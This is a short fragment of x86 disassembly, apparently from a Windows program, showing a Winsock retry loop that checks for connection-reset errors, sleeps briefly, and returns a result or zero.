call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401b58
cmp eax, 0x2744
je 0x401b58
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401b17
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret